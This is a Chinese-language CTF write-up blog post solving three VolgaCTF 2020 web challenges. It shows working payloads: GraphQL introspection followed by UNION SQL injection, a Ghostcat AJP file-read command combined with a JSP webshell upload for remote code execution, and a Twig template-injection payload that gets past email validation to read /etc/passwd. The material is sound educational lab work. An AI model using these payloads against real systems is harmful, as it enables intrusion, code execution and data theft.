Author:颖奇L’Amore
Blog:www.gem-love.com
WEB
Library(150pt)
We have written a pretty useful library website where you can find all our books.
Check it out at library.q.2020.volgactf.ru!
考点:GraphQL、SQLi
难度:难
这个题复现了很久,大部分时间都在查阅GraphQL的相关资料,题目本身并不是特别复杂
Recon&Fuzz
打开题目是个图书馆网站,发现可以注册,注册之后登陆,登陆上去之后只有一些书的封面,别的没了,书也点不开
首先考虑SQL注入,在登陆时候抓包,发现数据以JSON形式传给了他的API,加上一个反斜线发现了JSON报错:
这主要是因为反斜线转义了引号导致JSON格式出错,加2个反斜线就好:
可以看到出现了一个INTERNAL_ERROR,但是没有太大用处。继续fuzz,将input{}
内置空,报错得到了SQL语句:
一开始以为是个SQL注入题,毕竟只有登录注册和功能,但是测试了好久都没成功,要么就是错误要么就是无回显。去看了眼wp发现根本不是这里注入
GraphQL
因为这是提交到api的,直接访问api告知:
Must provide query string.
测试发现,也可以直接GET方式进行查询,当把Query置空得到报错:
GRAPHQL_PARSE_FALED
GraphQL是Facebook公司开发的一种API查询语言,和SQL类似,他们的QL都是Query Language的意思。因为可以发现是通过api查询并且没有什么特别的认证,这意味着可以构造GraphQL查询语句来查询我们所需要的东西,或者GraphQL注入。预备知识:
先来查询一下GraphQL的schema
{__schema{types{name}}}
上面引用的「什么是GraphQL?」文章中给出了__schema和__type的结构:
query {
__schema {
types {
name
kind
description
fields {
name
}
}
}
}
query {
__schema {
types {
name
kind
description
fields {
name
}
}
}
}
可以看到__schema{type{}}
内有一个field{}
,尝试构造payload进行查询:
{__schema{types{name,fields{name}}}}
发现Query下有一个很有趣的东西:testGetUsersByFilter,用GraphQLmap也可以发现它
根据字面翻译可以知道它能够通过filter来获取user,说明这里进行了SQL查询,或许可以造成SQL注入,但是构造了好久的Payload也不知道怎么把它的细节读取出来,就不能知道这个Filter是干嘛的
下午在好几个群里问了一圈也没找到怎么查询的方法,自己构造了十几种查询也都失败了,后来搜了一篇wp,里面给了一个GraphQL injection相关的GitHub链接,里面给了一个dump the database schema的Payload:
fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}
查询可以得到很多东西,非常多,格式和上图一样,没缩进,看不出什么东西,所以找一个在线JSON格式化的网站美化一下,testGetUsersByFilter:
{
"name": "testGetUsersByFilter",
"description": "",
"args": [
{
"name": "filter",
"description": "",
"type": {
"kind": "INPUT_OBJECT",
"name": "UserFilter",
"ofType": null
},
"defaultValue": null
}
],
"type": {
"kind": "LIST",
"name": null,
"ofType": {
"kind": "OBJECT",
"name": "User",
"ofType": null
}
},
"isDeprecated": false,
"deprecationReason": null
},
构造一个testGetUsersByFilter的查询语句:
/api?query=query{testGetUsersByFilter(filter: {login: "y1ng" name:"y1ngaaa"}) {login}}
使用这个Payload进行查询,会因未授权而出错:
{"code":"UNAUTHENTICATED"}
但是到目前为止都没有发现有什么授权的事,唯一的可能就是没登录,所以登录一下再抓包,发现多了一个认证的HTTP头,加上就可以了
这个Payload打过去之后,被回显回来,但是没查到任何信息:
{"data":{"testGetUsersByFilter":[{"login":"y1ng"}]}}
SQL注入
经测试发现,单引号似乎会被过滤,加上单引号和不加单引号回显完全一样,改成双引号就不一样了:
query{testGetUsersByFilter(filter: {login: "y1ng\"" name:"y1ngaaa"}) {login}}
得到数据库报错:
{
"errors": [
{
"message": "Database error",
"locations": [
{
"line": 1,
"column": 7
}
],
"path": [
"testGetUsersByFilter"
],
"extensions": {
"code": "INTERNAL_SERVER_ERROR"
}
}
],
"data": {
"testGetUsersByFilter": null
}
}
似乎可以构造注入,但是联合查询失败了:
query{testGetUsersByFilter(filter: {login: "y1ng" name:"y1ngaaa\" union select * from users -- "}) {login}}
回显完全没变。
但是,当使用双引号将前面的引号转义,和后面的引号闭合时候,后面用户输入的语句就逃逸出来构成SQL注入了,这里的原理可以参考前两天刚刚考过的BJDCTF 2nd – GirlfriendInjection简单注入
构造联合查询,注入成功:
query{testGetUsersByFilter(filter: {login: "y1ng\\" name:" union select * from users -- "}) {login}}
这意味着flag离我们不远了,后面就是常用SQL注入套路
先测试发现有6列,输出了第二个Column:
query{testGetUsersByFilter(filter: {login: "y1ng\\" name:" union select 1,2,3,4,5,6 -- "}) {login}}
{"data":{"testGetUsersByFilter":[{"login":"2"}]}}
后面就直接用Hackbar的SQL注入功能一把梭了
表名:
api?query=query{testGetUsersByFilter(filter: {login: "y1ng\\" name:" union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database() -- "}) {login}}
{"data":{"testGetUsersByFilter":[{"login":"books,flag,users"}]}}
字段名时候出错了:
{"errors":[{"message":"Database error","locations":[{"line":1,"column":7}],"path":["testGetUsersByFilter"],"extensions":{"code":"INTERNAL_SERVER_ERROR"}}],"data":{"testGetUsersByFilter":null}}
不过因为表明是flag,盲猜column也叫flag,直接查flag:
query{testGetUsersByFilter(filter: {login: "y1ng\\" name:" union select flag,flag,flag,flag,flag,flag from flag -- "}) {login}}
{"data":{"testGetUsersByFilter":[{"login":"VolgaCTF{EassY_GgraPhQl_T@@Sk_ek3k12kckgkdak}"}]}}
得到flag:VolgaCTF{EassY_GgraPhQl_T@@Sk_ek3k12kckgkdak}
NetCorp(100pt)
考点:Tomcat幽灵猫文件包含、JAVA反编译、JAVA代码审计
难度:较难
Another telecom provider. Hope these guys prepared well enough for the network load…
这是web里分值最低也是solved数最多的一个题,正好刚刚WUST-CTF的easyweb刚考过这个漏洞,PoC都可以直接用,套路差别不大,但是难度比WUST的简单的多,因为漏洞是同一个漏洞,漏洞利用时候都差不多,本题目的难点在于前期部分。
Recon
打开之后是个静态网页,啥也没有
用插件除了GoogleFrontAPI外啥也没识别出来,对于这种啥也没有的题目,直接上扫描器
最开始用ctf-wscan,没扫出来东西,后来用御剑加载了个大字典,扫出来一个docs
首先得知使用了Tomcat,然后看下AJP的端口发现也是开的:
幽灵猫文件读取
还扫出了uploads目录,存在上传。考虑是幽灵猫,但是和武科那个比赛不一样的是这个题没有上传点(至少现在还没找到上传点)不能直接上传木马然后包含,所以先看下web.xml
python3 ajpshooter.py http://netcorp.q.2020.volgactf.ru:7782/ 8009 /WEB-INF/web.xml read
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>NetCorp</display-name>
<servlet>
<servlet-name>ServeScreenshot</servlet-name>
<display-name>ServeScreenshot</display-name>
<servlet-class>ru.volgactf.netcorp.ServeScreenshotServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ServeScreenshot</servlet-name>
<url-pattern>/ServeScreenshot</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>ServeComplaint</servlet-name>
<display-name>ServeComplaint</display-name>
<description>Complaint info</description>
<servlet-class>ru.volgactf.netcorp.ServeComplaintServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ServeComplaint</servlet-name>
<url-pattern>/ServeComplaint</url-pattern>
</servlet-mapping>
<error-page>
<error-code>404</error-code>
<location>/404.html</location>
</error-page>
</web-app>
根据这个web.xml我们可以得知:
- 有ServeScreenshot和ServComplaint两个Java Servlet
- 他们映射到的url
另外,根据<servlet-class>
我们可以推测出他的class的路径,加上根据基础知识可知Java web的类文件在WEB-INF/classe目录下,这样就得到了这两个servlet class的路径,ajpshooter读一下:
/WEB-INF/classes/ru/volgactf/netcorp/ServeScreenshotServlet.class /WEB-INF/classes/ru/volgactf/netcorp/ServeComplaintServlet.class
但是读出来是这样的:
这什么都看不懂,查了下wp发现这个读的是二进制形式读,可以写个Python脚本恢复:
#https://ctftime.org/writeup/19248
def create_class_file(filename, content):
class_file = open(filename + ".class", "wb")
class_file.write(content)
也可以直接在ajpshooter.py后面加上-o xxx.class输出到class文件,很明显这种方法比较方便
JAVA反编译
反编译class到java源代码很方便,我比较喜欢用JD-GUI,直接打开class就可以得到源代码
public class ServeScreenshotServlet extends HttpServlet
{
private static final String SAVE_DIR = "uploads";
public ServeScreenshotServlet() { System.out.println("ServeScreenshotServlet Constructor called!"); }
public void init(ServletConfig config) throws ServletException { System.out.println("ServeScreenshotServlet \"Init\" method called"); }
public void destroy() { System.out.println("ServeScreenshotServlet \"Destroy\" method called"); }
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String appPath = request.getServletContext().getRealPath("");
String savePath = appPath + "uploads";
File fileSaveDir = new File(savePath);
if (!fileSaveDir.exists()) {
fileSaveDir.mkdir();
}
String submut = request.getParameter("submit");
if (submut == null || !submut.equals("true"));
for (Part part : request.getParts()) {
String fileName = extractFileName(part);
fileName = (new File(fileName)).getName();
String hashedFileName = generateFileName(fileName);
String path = savePath + File.separator + hashedFileName;
if (path.equals("Error"))
continue;
part.write(path);
}
PrintWriter out = response.getWriter();
response.setContentType("application/json");
response.setCharacterEncoding("UTF-8");
out.print(String.format("{'success':'%s'}", new Object[] { "true" }));
out.flush();
}
private String generateFileName(String fileName) {
try {
MessageDigest md = MessageDigest.getInstance("MD5");
md.update(fileName.getBytes());
byte[] digest = md.digest();
String s2 = (new BigInteger(1, digest)).toString(16);
StringBuilder sb = new StringBuilder(32);
for (int i = 0, count = 32 - s2.length(); i < count; i++) {
sb.append("0");
}
return sb.append(s2).toString();
}
catch (NoSuchAlgorithmException e) {
e.printStackTrace();
return "Error";
}
}
private String extractFileName(Part part) {
String contentDisp = part.getHeader("content-disposition");
String[] items = contentDisp.split(";");
for (String s : items) {
if (s.trim().startsWith("filename")) {
return s.substring(s.indexOf("=") + 2, s.length() - 1);
}
}
return "";
}
}
可以看到这个ServeScreenshot提供了上传功能,文件保存在uploads目录下,并且文件名是这个文件的文件名的md5。所以我们只要通过它来传马再幽灵猫包含即可RCE
幽灵猫包含
写个表单来上传jsp的webshell:
<form action="http://netcorp.q.2020.volgactf.ru:7782/ServeScreenshot" method="post" enctype="multipart/form-data">
<input type="file" name="filename">
<input type="submit" value="提交上传">
</form>
上传成功会提示success
根据代码,我们再计算一下文件名的md5,就能得到他的路径了
然后用幽灵猫去包含即可执行,和武科的一样,弹shell失败了,但是只要手工修改里面要执行的命令,先ls找到flag在flag.txt然后直接cat flag.txt即可
flag:VolgaCTF{qualification_unites_and_real_awesome_nothing_though_i_need_else}
Newsletter(200pt)
考点:Twig模板注入、自建SMTP
难度:中等
Subscribe to our newsletter!
代码审计
这个题打开之后是个输入邮箱来订阅的界面
给了源码
<?php
namespace App\Controller;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\Mailer\MailerInterface;
use Symfony\Component\Mime\Email;
class MainController extends AbstractController
{
public function index(Request $request)
{
return $this->render('main.twig');
}
public function subscribe(Request $request, MailerInterface $mailer)
{
$msg = '';
$email = filter_var($request->request->get('email', ''), FILTER_VALIDATE_EMAIL);
if($email !== FALSE) {
$name = substr($email, 0, strpos($email, '@'));
$content = $this->get('twig')->createTemplate(
"<p>Hello ${name}.</p><p>Thank you for subscribing to our newsletter.</p><p>Regards, VolgaCTF Team</p>"
)->render();
$mail = (new Email())->from([email protected]')->to($email)->subject('VolgaCTF Newsletter')->html($content);
$mailer->send($mail);
$msg = 'Success';
} else {
$msg = 'Invalid email';
}
return $this->render('main.twig', ['msg' => $msg]);
}
public function source()
{
return new Response('<pre>'.htmlspecialchars(file_get_contents(__FILE__)).'</pre>');
}
}
可以看到用了Twig,基本可以肯定是个SSTI的题目。
题目首先对email进行了filter_var()
验证:
$email = filter_var($request->request->get('email', ''), FILTER_VALIDATE_EMAIL);
$name = substr($email, 0, strpos($email, '@'));
$content = $this->get('twig')->createTemplate(
"<p>Hello ${name}.</p><p>Thank you for subscribing to our newsletter.</p><p>Regards, VolgaCTF Team</p>"
)->render();
之后会发邮件:
$mail = (new Email())->from([email protected]')->to($email)->subject('VolgaCTF Newsletter')->html($content);
$mailer->send($mail);
因为他是把结果发送到你的邮件,而不是直接输出,正常注册邮箱是不能带上那些特殊符号的,所以需要我们自己搭建一个SMTP服务器。这个有很多,现成的Dockerfile直接build,端口一定要映射到25,我自己已经搭好了,就不过多介绍了
模板注入
提交的时候不能有非法字符
是前端验证的,用burp抓包即可。虽然邮件使用了filter_vars()
验证,但是很容易绕过。
先进行一个简单的测试
[email protected]
然后检查一下收到的邮件,发现7*7被成功运算:
去PayloadsAllTheThing里找个Twig文件读取的Payload,可以发现直接就有现成的绕过FILTER_VALIDATE_EMAIL
的Payload来文件读取或者RCE:
基本都能用,burp提交:
email="{{'/etc/passwd'|file_excerpt(1,30)}}"@y1ng.vip
检查邮箱,得到flag:
flag:VolgaCTF{6751602deea2a308ab611eeef7a4e961}
References
https://spotless.tech/volgactf-2020-qualifier-Library.html
https://nosecurity.blog/volgaCTF2020
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection
https://www.zhihu.com/question/264629587
https://github.com/r00tstici/writeups/tree/master/VolgaCTF_2020/netcorp
https:[email protected]/volgactf-qualifier-netcorp-2eb072e4d314
https://blog.blackfan.ru/2020/03/volgactf-2020-qualifier-writeup.html
https://spotless.tech/volgactf-2020-qualifier-newsletter.html
https://ctftime.org/writeup/19230
颖奇L'Amore原创文章,转载请注明作者和文章链接
本文链接地址:https://blog.gem-love.com/ctf/2198.html
注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示